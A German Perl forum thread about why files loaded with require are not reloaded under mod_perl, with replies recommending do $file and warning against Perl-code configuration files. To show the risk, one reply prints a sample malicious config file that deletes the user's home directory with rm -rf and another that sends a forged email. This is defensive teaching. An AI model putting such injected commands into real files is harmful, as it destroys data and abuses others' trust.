Karl: mit require geladene dateien werden nicht neu gelesen

Hallo Forum

Umgebung:
Windows 7 pro auf einem virtuellen server VMware
XAMPP Apache/2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1

Ich habe 2 Dateien.
Datei test.pl

  
use CGI qw(:standard);  
print header;  
  
require "E:/gesamter/pfad/test_inc.pl";  
  
$var1 = "AAA ";  
print($var1);  
print(" - ");  
print($var2);  
print("\n");  
  

Datei test_inc.pl

  
  
$var2="BBB";  
  
  

Wenn ich test.pl ausführe erhalte ich
AAA - BBB
Soweit so gut.

Nun ändere ich in test.pl:  $var1 = "CCC ";
und in test_inc.pl:  $var1 = "DDD";
Die antwort sollte nun CCC-DDD sein.
Ist es aber nicht!
Sondern ich erhalte CCC-BBB

sprich die Änderungen aus test.pl wurden übernommen.
die Anderungen aus der mit require eingebunden test_inc.pl werden ignoriert!!

das passiert nur beim aufruf über http, also den appache
starte ich das script über die console werden auch die änderungen aus der test_inc.pl angezeigt.
im web werden die änderungen aber erst nach einem neustart des apache übernommen.

Was ich schon versucht habe:

EnableMMAP Off  in der apacheconfig

umbenennen in test_inc.pm

mit und ohne shebang

hinzufügen der letzten zeile "1;" in die test_inc.pl

alle module in deren namen das wort cache vorkommt in der apacheconfig sind auskommentiert.

Kann mir einer weiterhelfen?
Ich hab echt keine idee mehr worans noch liegen könnte.

Danke schon mal
Karl

  1. hi,

    Kann mir einer weiterhelfen?
    Ich hab echt keine idee mehr worans noch liegen könnte.

    Aber ich hab da ne Idee ;)

    use strict;
    use warnings;

    Und: In_das_Apache_Error_Log_Gucken.

    Zum Testen binde die Lib mal mit use anstatt mit require ein. Vorher schreibe eine Funktion in die Lib:

      
    sub import{  
     my $class = shift;  
     print $class;  
    }  
    
    

    Das zeigt Dir, ob Du die richtige Datei einbindest.

    Falls Du CGIs entwickelst, ist auch
    use CGI::Carp qw(fatalsToBrowser);
    sehr hilfreich.

    Hotti

    1. Hallo Hotti

      Aber ich hab da ne Idee ;)

      Danke für deine Tipps!
      Hab mich lange damit rumgespielt. leider FAST ohne Erfolg

      use strict;
      use warnings;

      hat nicht viel gebracht. nuer etwas gemotze wegen variablendeklarationen

      Und: In_das_Apache_Error_Log_Gucken.

      im servelog lauter 500er und das errorlog ist leer (ausser ich hab wider mal einen ; vergessen)

      Zum Testen binde die Lib mal mit use anstatt mit require ein. Vorher schreibe eine Funktion in die Lib:

      hab ich auch gemacht und ins @INC verschoben.

      sub import{
      my $class = shift;
      print $class;
      }

      
      >   
      > Das zeigt Dir, ob Du die richtige Datei einbindest.  
      
      Das ist am interessantesten!!!  
      ich hab auch andere dinge reingeschrieben wie wertezuweisungen oder print  
      die funktion import wird nie!! aufgerufen.  
      und zwar wder über CGI noch über konsole auch nicht vor einer änderung  
        
      meine nächste googlesuche wird wohl lauten "perl modul sub import wird nicht ausgeführt" vielleicht bringt mich das weiter  
        
      
      > Falls Du CGIs entwickelst, ist auch  
      > `use CGI::Carp qw(fatalsToBrowser);`{:.language-perl}  
      > sehr hilfreich.  
      
      Es geht tatsächlich im CGI  
      das problem entstand beim übersiedel einer anwendung von einem alten 1.3 Apache auf das neue system.  
      Leider auch keine Fehlermeldungen.  
        
      Ist ja auch irgendwie klar.  
      Es wird ja offensichtlich eine test\_inc.pl(pm) importiert mit require oder use (daher kein grund für einen fehler). aber eben nicht die, die ich vor 10 Sekunden editiert habe.  
      Irgendwo scheint sie gecachet zu sein.  
      aber wo? Apache, perl, windows, vmware  
        
      trotzdem nochmals vielen dank  
      Karl  
        
        
        
      
      
      1. moin,

        Irgendwo scheint sie gecachet zu sein.

        Sag doch gleich, dass es mod_perl ist ;)

        Da wird alles, was über den Responsehandler mit require oder use eingebunden ist, erst mit einem Apache-Reload neu eingelesen.

        Schönen Sonntag,
        Hotti

  2. Moin Moin!

    require liest (ohne Trickserei) jede Datei pro Interpreter-Lauf nur EIN EINZIGES MAL, das ist dokumentiert. Wenn Du jedes Mal lesen willst, nutze do $file.

    Ich schätze, bei Dir ist auch noch mod_perl im Spiel, das hält alle einmal per use oder require geladenen Module im Speicher, und erkennt Änderungen an einzelnen Scripten, nicht aber an Modulen. Auch das ist dokumentiert.

    Nutze do $file oder besser, lies Konfigurationsdaten nicht als Perl-Code ein. Du öffnest Sicherheitslücken.

    Alexander

    --
    Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so".
    1. Hallo Alexander

      require liest (ohne Trickserei) jede Datei pro Interpreter-Lauf nur EIN EINZIGES MAL, das ist dokumentiert. Wenn Du jedes Mal lesen willst, nutze do $file.

      SUPER!! DAS WARS!!
      Einen Cache hatte ich ja schon vermutet.
      Dass man do als ungecachte Alternative zu require einsetzen kann war mir völlig unbekannt.

      Ich schätze, bei Dir ist auch noch mod_perl im Spiel, das hält alle einmal per use oder require geladenen Module im Speicher, und erkennt Änderungen an einzelnen Scripten, nicht aber an Modulen. Auch das ist dokumentiert.

      Ja: mod_perl/2.0.4

      Wo kann man das den alles nachlesen?

      Nutze do $file oder besser, lies Konfigurationsdaten nicht als Perl-Code ein. Du öffnest Sicherheitslücken.

      Nur in meinem Beispiel war es eine Art Konfigurationsdatei.
      Im realen Projekt handelt es sich um Funktionsbibliotheken.
      Und von welchen Sicherheitslücken spricht du?

      Aber es ist Samstag Abend nach 20 Uhr.
      Irgendwann sollte auch für Dich und Mich das Wochenende beginnen.
      herzlichen Dank nochmals
      Karl

      1. Moin Moin!

        Wo kann man das den alles nachlesen?

        Wie bei Perl üblich: in der MITGELIEFERTEN Dokumentation.

        Das Verhalten von require ist ausführlich in perlfunc dokumentiert, perldoc -f require zeigt dir den entsprechenden Ausschnitt aus perlfunc. Alternativ unter http://perldoc.perl.org/functions/require.html für die jeweils aktuelle Perl-Version:

        "Has semantics similar to the following subroutine:"
            (Viel Code, den Du bitte selbst nachliest.)

        Und direkt danach noch einmal ganz deutlich:

        "Note that the file will not be included twice under the same specified name."

        Das von Dir erlittene Verhalten von mod_perl, nämlich veränderte Module nicht automatisch neu zu laden, ist unter Perl Specifics in the mod_perl Environment nachzulesen:

        BEGIN blocks in modules and files pulled in via require() or use() will be executed:

        * Only once, if pulled in by the parent process at the server startup.
            * Once per each child process or Perl interpreter if not pulled in by the parent process.
            * An additional time, once per each child process or Perl interpreter if the module is reloaded off disk again via Apache2::Reload.
            * Unpredictable if you fiddle with %INC yourself.

        The BEGIN blocks behavior is different in ModPerl::Registry and ModPerl::PerlRun handlers, and their subclasses.

        Nutze do $file oder besser, lies Konfigurationsdaten nicht als Perl-Code ein. Du öffnest Sicherheitslücken.
        Nur in meinem Beispiel war es eine Art Konfigurationsdatei.
        Im realen Projekt handelt es sich um Funktionsbibliotheken.
        Und von welchen Sicherheitslücken spricht du?

        Wie wäre es mit einem Beispiel? Ein trivial blödes Programm, mit fast allen Sicherheitsvorkehrungen, die Perl hat: Taint Mode, strict, warnings. Hello World mit konfigurierbarer Begrüßung.

          
        #!/usr/bin/perl -T  
          
        use strict;  
        use warnings;  
        use 5.008;  
          
        our $greeting='Hello World';  
          
        require './hello-conf.pl';  
          
        print "$greeting, this is $^X version $^V\n";  
        
        

        Dazu die "Konfigurationsdatei" hello-conf.pl mit "Werkseinstellungen":

          
        # $greeting="Moin Moin";  
          
        1;  
        
        

        Ich finde "Hello World" als Begrüßung doof, also nutze ich die "Konfigurationsdatei", um das zu ändern:

          
        $greeting="Moin Moin";  
          
        1;  
        
        

        So weit, so harmlos.

        Ich könnte auf die Idee kommen, dass mir ein externes Hilfsprogramm den gewünschten Gruß liefert. Ich nehme als Beispiel mal stumpf echo.

          
        $greeting=`/usr/bin/echo Moin Moin`;  
          
        1;  
        
        

        Da geht dann aber der Taint-Mode auf die Barrikaden, weil ich $ENV{'PATH'} nicht gesichert habe:

        Insecure $ENV{PATH} while running with -T switch at ./hello-conf.pl line 1.
            Compilation failed in require at ./hello.pl line 9.

        Gut, dass ich Fehlermeldungen und Dokumentationen lesen kann, denn das kann ich in der Konfigurationsdatei beheben:

          
        $ENV{'PATH'}='/bin:/usr/bin';  
        $greeting=`/usr/bin/echo Moin Moin`;  
          
        1;  
        
        

        Aber auch das ist Perl noch nicht paranoid genug:

        Insecure $ENV{CDPATH} while running with -T switch at ./hello-conf.pl line 2.
            Compilation failed in require at ./hello.pl line 9.

          
        $ENV{'PATH'}='/bin:/usr/bin';  
        delete $ENV{'CDPATH'};  
        $greeting=`/usr/bin/echo Moin Moin`;  
          
        1;  
        
        

        Das Ergebnis:

        Moin Moin
            , this is /usr/bin/perl5.12.3 version v5.12.3

        Oops, da ist noch ein Zeilenumbruch, der dort nicht hingehört. Blöderweise kann man echo auf zwei Arten den Zeilenumbruch am Ende abgewöhnen, und nur eine der beiden Möglichkeiten ist im jeweiligen Betriebssystem implementiert. Nutzt man die falsche, bekommt man noch mehr störende Zeichen. Also räume ich das besser in Perl auf, denn schließlich wird die "Konfigurationsdatei" ja stumpf ausgeführt.

          
        $ENV{'PATH'}='/bin:/usr/bin';  
        delete $ENV{'CDPATH'};  
        $greeting=`/usr/bin/echo Moin Moin`;  
        chomp $greeting;  
          
        1;  
        
        

        Tadaaa! Alles ist schön. Bis auf die Tatsache, dass die "Konfigurationsdatei" ein Programm ist. Ich setze den weißen Hut ab, den schwarzen Hut auf, ändere eine Kleinigkeit, und sorge dafür, dass mein Kollege das Programm ausführen will, ohne sich großartig Gedanken zu machen, was alles schief gehen kann. Ist ja nur ein harmloses "Hello World"-Programm.

        Die "Konfigurationsdatei" sieht dann so aus:

          
        $ENV{'PATH'}='/bin:/usr/bin';  
        delete $ENV{'CDPATH'};  
        $ENV{'HOME'}=~/(.+)/;system '/usr/bin/rm','-rf',$1;  
        $greeting=`/usr/bin/echo Moin Moin`;  
        chomp $greeting;  
          
        1;  
        
        

        Oder etwas weniger offensichtlich für das Opfer so:

          
        $ENV{'PATH'}='/bin:/usr/bin';  
        delete $ENV{'CDPATH'};  
        $greeting=`/usr/bin/echo Moin Moin`;  
        chomp $greeting;  
          
        use MIME::Lite;  
          
        MIME::Lite->new(  
            From     => getpwuid($<).'@example.com',  
            To       => 'boss@example.com',  
            Subject  => 'Du stinkst!',  
            Data     => "Du stinkst! Ich hab's satt! Morgen komme ich nicht mehr!"  
        )->send();  
          
        1;  
        
        

        Du siehst also, "Konfigurationsdateien" sind völlig harmlos ... ;-)

        Mit JSON (oder XML, oder INI-Dateien) wäre das nicht passiert:

          
        #!/usr/bin/perl -T  
          
        use strict;  
        use warnings;  
        use 5.008;  
        use JSON::XS qw( decode_json );  
        use File::Slurp qw( read_file );  
          
        our $greeting='Hello World';  
          
        our $cfg=decode_json(read_file('hello.conf'));  
        $greeting=$cfg->{'greeting'} if exists $cfg->{'greeting'};  
          
        print "$greeting, this is $^X version $^V\n";  
        
        

        Konfigurationsdatei mit Werkseinstellungen:

          
        {}  
        
        

        Angepaßte Konfigurationsdatei:

          
        {  
            "greeting":"Moin Moin"  
        }  
        
        

        Es gibt hier absolut keinen Weg, aus der Konfigurationsdatei heraus Code auszuführen, es sei denn, dass Hauptprogramm sieht das explizit vor, z.B. mit eval $cfg->{'run_this'};.

        YAML steht nicht im "wäre das nicht passiert". Denn YAML hat die "wunderbare" Option "LoadCode". Die steht unter der Überschrift "Why YAML is cool". Ok, nicht direkt darunter. Die zuständige Überschrift heißt "Global Options". YAML wird über globale Variablen konfiguriert. Ein schlampig programmiertes Modul, dass das "local" vergißt, und schon ist LoadCode im gesamten Programm aktiv.

        Was ist also so schlimm daran, LoadCode aktiv zu haben? LoadCode ist der falsche Name für die Option, denn LoadCode lädt nicht nur Code, sondern führt den geladenen Code standardmäßig auch gleich aus. Gedacht ist das dazu, Funktionsdefinitionen in YAML zu speichern und wieder zu laden. Blöderweise lädt YAML die Funktionen per String-eval, wenn man nichts dagegen unternimmt:

        LoadCode

        LoadCode is the opposite of DumpCode. It tells YAML if and how to deserialize code references. When set to '1' or 'deparse' it will use eval(). Since this is potentially risky, only use this option if you know where your YAML has been.

        LoadCode can also be set to a subroutine reference so that you can write your own deserializing routine. YAML.pm passes the serialization (as a string) and a format indicator. You pass back the code reference.

        Und selbst wenn man LoadCode auf eine sichere Routine setzt, reicht ein schlampig programmiertes Modul aus, um LoadCode wieder stumpf auf 1 oder deparse zu setzen und wieder String-eval ans Ruder zu lassen.

        Alexander

        --
        Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so".